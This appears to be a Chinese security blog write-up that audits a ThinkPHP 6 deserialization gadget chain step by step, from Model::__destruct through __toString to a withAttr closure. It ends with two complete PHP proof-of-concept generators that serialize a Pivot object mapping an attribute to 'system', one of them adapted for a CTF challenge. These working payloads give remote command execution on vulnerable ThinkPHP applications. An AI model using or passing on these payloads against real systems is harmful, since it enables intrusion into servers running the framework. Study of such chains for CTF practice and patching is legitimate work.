通常来说,我们挖掘pop链,首先需要寻找的是析构函数,因为在类对象被销毁的时候回自动的触发,其实根本还是因为这些魔法函数可以自动触发,那么对于我们的pop链的搭建就有很好的契机;
首先找到的一个析构函数在 /vendor/topthink/framework/src/think/Model.php中;在最后有一个析构函数;
1 2 3 4 5 6 7
| public function __destruct() { if ($this->lazySave) { $this->save(); } }
|
这里我们只需要构造lazySave为true即可进入save函数;回溯一下save函数;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| public function save(array $data = [], string $sequence = null): bool { $this->setAttrs($data);
if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) { return false; }
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
if (false === $result) { return false; }
$this->trigger('AfterWrite');
$this->origin = $this->data; $this->set = []; $this->lazySave = false;
return true; }
|
这里审计发现,如果 $this->isEmpty()和 false === $this->trigger(‘BeforeWrite’)有一个为真,那么就会直接进行return,从而跳出save函数,然后进行一个if 判断如果为真,则调用updateData函数,反之则调用insertData函数;我们敏感的代码就在此处;此处后面在做细说;
首先分析下isEmpty函数和trigger函数;
1 2 3 4
| public function isEmpty(): bool { return empty($this->data); }
|
1 2 3 4 5
| protected function trigger(string $event): bool { if (!$this->withEvent) { return true; }
|
所以这里只需要让data有值,并且$this->wighEvent为假,就可以绕过return函数,从而进入我们的敏感函数区域;
分析下updateData方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| protected function updateData(): bool { if (false === $this->trigger('BeforeUpdate')) { return false; }
$this->checkData();
$data = $this->getChangedData();
if (empty($data)) { if (!empty($this->relationWrite)) { $this->autoRelationUpdate(); }
return true; }
if ($this->autoWriteTimestamp && $this->updateTime && !isset($data[$this->updateTime])) { $data[$this->updateTime] = $this->autoWriteTimestamp($this->updateTime); $this->data[$this->updateTime] = $data[$this->updateTime]; }
$allowFields = $this->checkAllowFields();
|
可以看到方法中调用了checkAllowFields方法;这个方法就是我们需要利用的方法,分析下;首先回调了trigger方法返回boolen类型,如果返回为假,那么直接return false直接跳出updataDate方法;反之则触发checkData方法进行数据的更新;然后通过getChangeData方法获取到更新的数据,然后再次进入一个判断,如果数据为空,则再次进入一个判断,判断relationWrite是否为空;如果不为空则调用autoRelationUpdate方法去关联更新,反之则返回true;然后再次进入一个if的判断,这是这次的判断没有return所以也就不用担心其会直接跳出这个updateData函数;也就是一定会执行我们下面的checkAllowFields方法;所以就不再分析它;
回到刚才,因为在data的地方有个判断取决于是否return;为了避免直接return;所以我们这里需要让data有值;所以这里我们需要回溯一下getChangedData方法;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| public function getChangedData(): array { $data = $this->force ? $this->data : array_udiff_assoc($this->data, $this->origin, function ($a, $b) { if ((empty($a) || empty($b)) && $a !== $b) { return 1; }
return is_object($a) || $a != $b ? 1 : 0; });
foreach ($this->readonly as $key => $field) { if (isset($data[$field])) { unset($data[$field]); } }
return $data; }
|
这里也比较好利用,可以直接强行赋值foce为true;然后使其返回data;然后return $data;这个问题解决之后;就会进入我们的敏感函数checkAllowFields中,这里分析下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| protected function checkAllowFields(): array { if (empty($this->field)) { if (!empty($this->schema)) { $this->field = array_keys(array_merge($this->schema, $this->jsonType)); } else { $query = $this->db(); $table = $this->table ? $this->table . $this->suffix : $query->getTable();
$this->field = $query->getConnection()->getTableFields($table); }
return $this->field; }
$field = $this->field;
if ($this->autoWriteTimestamp) { array_push($field, $this->createTime, $this->updateTime); }
if (!empty($this->disuse)) { $field = array_diff($field, $this->disuse); }
return $field; }
|
这里我们需要调用db方法,这里审计下代码;需要满足field为空并且让schema也为空;这时我们就可以进入db方法,然而db方法则是我们需要的方法;因为里面有一个字符得拼接过程,具体看下面db得代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| public function db($scope = []): Query { if ($this->queryInstance) { $query = $this->queryInstance; } else { $query = $this->db->buildQuery($this->connection) ->name($this->name . $this->suffix) ->pk($this->pk); }
$query->model($this) ->json($this->json, $this->jsonAssoc) ->setFieldType(array_merge($this->schema, $this->jsonType));
if (!empty($this->table)) { $query->table($this->table . $this->suffix); }
if (property_exists($this, 'withTrashed') && !$this->withTrashed) { $this->withNoTrashed($query); }
if (is_array($scope)) { $globalScope = array_diff($this->globalScope, $scope); $query->scope($globalScope); }
return $query; }
|
这里我们看到代码将name suffix变量进行了拼接,恰巧的是,这两个变量我们都是可以控制的;我们可以对其进行强行的赋值,从而达到我们的需求;
发现在拼接的前面还有一个buildQuery方法,要想触发拼接,首先得保证前面不报错的前提;我们回溯一下这个方法;
1 2 3 4 5
| public function buildQuery($connection = []) { $connection = $this->instance($this->parseConfig($connection)); return $this->newQuery($connection); }
|
简单审计下可以发现;buildQuery方法接收的参数是一个数组;然后经过了parseConfig方法处理,继续回溯一下parseConfig方法;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
|
private function parseConfig($config): array { if (empty($config)) { $config = $this->config; } elseif (is_string($config) && isset($this->config[$config])) { $config = $this->config[$config]; }
if (!is_array($config)) { throw new DbException('database config error:' . $config); }
return $config; }
|
可以看到首先判断我们的参数是否为空,这里先然不为空,然后判断是否为字符形式,这里我们传入的是数组,显然不是字符形式,然后进入下面判断,是否为数组,如果不是数组的话,就会调用一个报错,然后显示错误;又因为我们之前分析过要进行字符串拼接从而达到调用__toString方法,前面的语句不能报错,所以这里我们传入数组之后可以完全的规避错误,最后返回数组形式;也就是我们传入数组然后return一下;没什么干扰;
经过这个方法之后,程序又调用了一个instance方法;回溯一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
|
public function instance(array $config = [], $name = false) { if (false === $name) { $name = md5(serialize($config)); }
if (true === $name || !isset($this->instance[$name])) {
if (empty($config['type'])) { throw new InvalidArgumentException('Undefined db type'); }
if (true === $name) { $name = md5(serialize($config)); }
$this->instance[$name] = App::factory($config['type'], '\\think\\db\\connector\\', $config); }
return $this->instance[$name]; }
|
首先接收到一个数组,然后$name默认为false;接着进行$name的赋值,赋值为md5的值;然后下面的if语句,接着下面继续if语句后面的isset成立;其目的就是经过一系列的操作将我们的$name加入到instance数组中;分析一下;首先判断我们最开始传入数组的type属性是否为空;如果为空,就调用报错;然后返回Undefined db type;接着因为$name为false;所以跳过再次md5的加密赋值;直接进入 $this->instance[$name] = App::factory($config['type'], '\\think\\db\\connector\\', $config);
语句;这里明显是调用了App类下的factory方法;继续回溯一下;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
|
public static function factory(string $name, string $namespace = '', ...$args) { $class = false !== strpos($name, '\\') ? $name : $namespace . ucwords($name);
if (class_exists($class)) { return Container::getInstance()->invokeClass($class, $args); }
throw new ClassNotFoundException('class not exists:' . $class, $class); }
|
不难发现,一看就懂了;我们这个函数的第二个参数是命名空间;那么相应的 $this->instance[$name] = App::factory($config['type'], '\\think\\db\\connector\\', $config);
这句代码中第二个参数也就是命名空间;那么为了不报错,那么自然是需要我们的string $name参量满足是在相应的命名空间下。那么回溯一下string $name参量的地方就是我们的$config[‘type’];已经很明显了,我们的type的值需要是在相应的命名空间下;而且看赋值语句,是将我们的$name参数最后赋值给$class;然后进入class_exists;所以可以推出$name需要是一个类,并且在相应的命名空间下;现在全局搜索下;
1 2 3 4 5 6 7 8 9
| namespace think\db\connector;
use PDO; use think\db\Connection;
class Mysql extends Connection
|
只有Mysql在这个命名空间下;所以只可以选择Mysql;所以分析到此,那么我们传入的参数也就可以明了了,传入一个数组为”type”=>”Mysql”;即可达到不报错,然后可以顺利成章的进入字符串拼接;也就是
1 2 3
| $query = $this->db->buildQuery($this->connection) ->name($this->name . $this->suffix) ->pk($this->pk);
|
现在有目标触发__toString方法,这里全局搜索该方法;
在Conversion.php中发现可以利用的__toString方法;
1 2 3 4
| public function __toString() { return $this->toJson(); }
|
这里进行追溯一下toJson方法;
1 2 3 4
| public function toJson(int $options = JSON_UNESCAPED_UNICODE): string { return json_encode($this->toArray(), $options); }
|
发现调用了toArray方法,这里进行继续追踪;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| public function toArray(): array { $item = []; $hasVisible = false;
foreach ($this->visible as $key => $val) { if (is_string($val)) { if (strpos($val, '.')) { list($relation, $name) = explode('.', $val); $this->visible[$relation][] = $name; } else { $this->visible[$val] = true; $hasVisible = true; } unset($this->visible[$key]); } }
foreach ($this->hidden as $key => $val) { if (is_string($val)) { if (strpos($val, '.')) { list($relation, $name) = explode('.', $val); $this->hidden[$relation][] = $name; } else { $this->hidden[$val] = true; } unset($this->hidden[$key]); } }
$data = array_merge($this->data, $this->relation);
foreach ($data as $key => $val) { if ($val instanceof Model || $val instanceof ModelCollection) { if (isset($this->visible[$key])) { $val->visible($this->visible[$key]); } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) { $val->hidden($this->hidden[$key]); } if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) { $item[$key] = $val->toArray(); } } elseif (isset($this->visible[$key])) { $item[$key] = $this->getAttr($key); } elseif (!isset($this->hidden[$key]) && !$hasVisible) { $item[$key] = $this->getAttr($key); } }
foreach ($this->append as $key => $name) { $this->appendAttrToArray($item, $key, $name); }
return $item; }
|
经过我写在代码中的注释可以差不多理解,这里不再多说,直接追溯一下getAttr方法;
1 2 3 4 5 6 7 8 9 10 11 12
| public function getAttr(string $name) { try { $relation = false; $value = $this->getData($name); } catch (InvalidArgumentException $e) { $relation = true; $value = null; }
return $this->getValue($name, $value, $relation); }
|
这里我们name就是我们之前的key,也就是我们赋值的s1mple;但是这个函数中有个getData方法;追溯一下;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| public function getData(string $name = null) { if (is_null($name)) { return $this->data; }
$fieldName = $this->getRealFieldName($name);
if (array_key_exists($fieldName, $this->data)) { return $this->data[$fieldName]; } elseif (array_key_exists($name, $this->relation)) { return $this->relation[$name]; }
throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name); }
|
因为我们赋值为s1mple;这里getRealFieldName方法;因为strict默认为true;所以这里直接返回$name;所以这里默认不为空,所以$fieldName 就为s1mple;这里因为我们之前给data赋了值;所以注类key一定是存在的,并且也为s1mple;所以这里直接return我们的data;也就是ls;
所以最后return $this->getValue(s1mple,ls,false);继续顺溯getValue方法;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| protected function getValue(string $name, $value, bool $relation = false) { $fieldName = $this->getRealFieldName($name); $method = 'get' . App::parseName($name, 1) . 'Attr';
if (isset($this->withAttr[$fieldName])) { if ($relation) { $value = $this->getRelationValue($name); }
if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) { $value = $this->getJsonValue($fieldName, $value); } else { $closure = $this->withAttr[$fieldName]; $value = $closure($value, $this->data); } } elseif (method_exists($this, $method)) { if ($relation) { $value = $this->getRelationValue($name); }
$value = $this->$method($value, $this->data); } elseif (isset($this->type[$fieldName])) { $value = $this->readTransform($value, $this->type[$fieldName]); } elseif ($this->autoWriteTimestamp && in_array($fieldName, [$this->createTime, $this->updateTime])) { $value = $this->getTimestampValue($value); } elseif ($relation) { $value = $this->getRelationAttribute($name); }
return $value; }
|
放出POC;有一点是relation这个参数是否存在都是可以的,因为程序本身会给relation进行赋值,(boolen);因为我们的Model类是一个抽象的类,所以我们不可直接进行实例化,可以通过其子类继承,在子类实例化的时候抽象类也会被实力化;所以我们选用Pivot这个子类来进行new;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| <?php namespace think{ class Db{ } } namespace think\model\concern { trait Conversion{ protected $visible; } trait Attribute{ private $withAttr; private $data; } } namespace think{ abstract class Model{ use model\concern\Conversion; use model\concern\Attribute; private $lazySave; private $exists; protected $name; protected $db; protected $connection; function __construct($data,$obj) { $this->lazySave=true; $this->exists=true; $this->data=$data; $this->db=$obj; $this->relation = []; $this->visible= []; $this->name=$this; $this->withAttr = array("s1mple"=>'system'); $this->connection = ["type"=>"mysql"]; } } } namespace think\model{ class Pivot extends \think\Model{ public function __construct($data,$obj) { parent::__construct($data,$obj); } } } namespace{ $db = new think\Db(); $pivot2 = new think\model\Pivot(['s1mple'=>'dir'],$db); echo urlencode(serialize($pivot2)); }
|
分析完Thinkphp6的发序列化利用,来看一个安洵的题;也是基于thinkphp的反序列化利用;只是有一点不太一样,正版的thinkphp6-pop链的触发,是要进入db方法去进行name参数拼接,但是在除了db方法中拼接之外,还是可以在db方法下的table也是有个拼接,只是因为在当初thinkphp6中是先调用了db方法,所以之前直接走了db方法中的拼接;但是在安洵中,出题方去掉了db方法;很明显,是需要进行talbe进行拼接的;我们看下关键的地方代码;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| protected function checkAllowFields(): array { if (empty($this->field)) { if (!empty($this->schema)) { $this->field = array_keys(array_merge($this->schema, $this->jsonType)); } else { $table = $this->table ? $this->table . $this->suffix : $query->getTable(); $this->field = $query->getConnection()->getTableFields($table); }
return $this->field; }
$field = $this->field;
if ($this->autoWriteTimestamp) { array_push($field, $this->createTime, $this->updateTime); }
if (!empty($this->disuse)) { $field = array_diff($field, $this->disuse); }
return $field; }
|
很显然,这里去掉了原本的db方法,直接进行了table和suffix拼接;我们也可以从这里来进行调用__toString方法;除了这里不一样之外,其他的地方也是基本上一样的;所以这个题出出来差不多就是送分的节奏,我们只是需要稍微改下原本的poc;就可以直接进行攻击;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| <?php namespace think { use think\model\concern\Attribute; use think\model\concern\Conversion; use think\model\concern\RelationShip; abstract class Model { use model\concern\Conversion; use model\concern\Attribute;
private $lazySave; protected $table; public function __construct($obj) { $this->lazySave = true; $this->table = $obj; $this->data = array("s1mple"=>'dir'); $this->withAttr = array("s1mple"=>"system"); } } } namespace think\model\concern { trait Conversion { protected $visible=[]; } trait Attribute { private $data; private $withAttr; } } namespace think\model { use think\Model; class Pivot extends Model { } } namespace { $a = new think\model\Pivot(); $b = new think\model\Pivot($a); echo urlencode(serialize($b)); }
|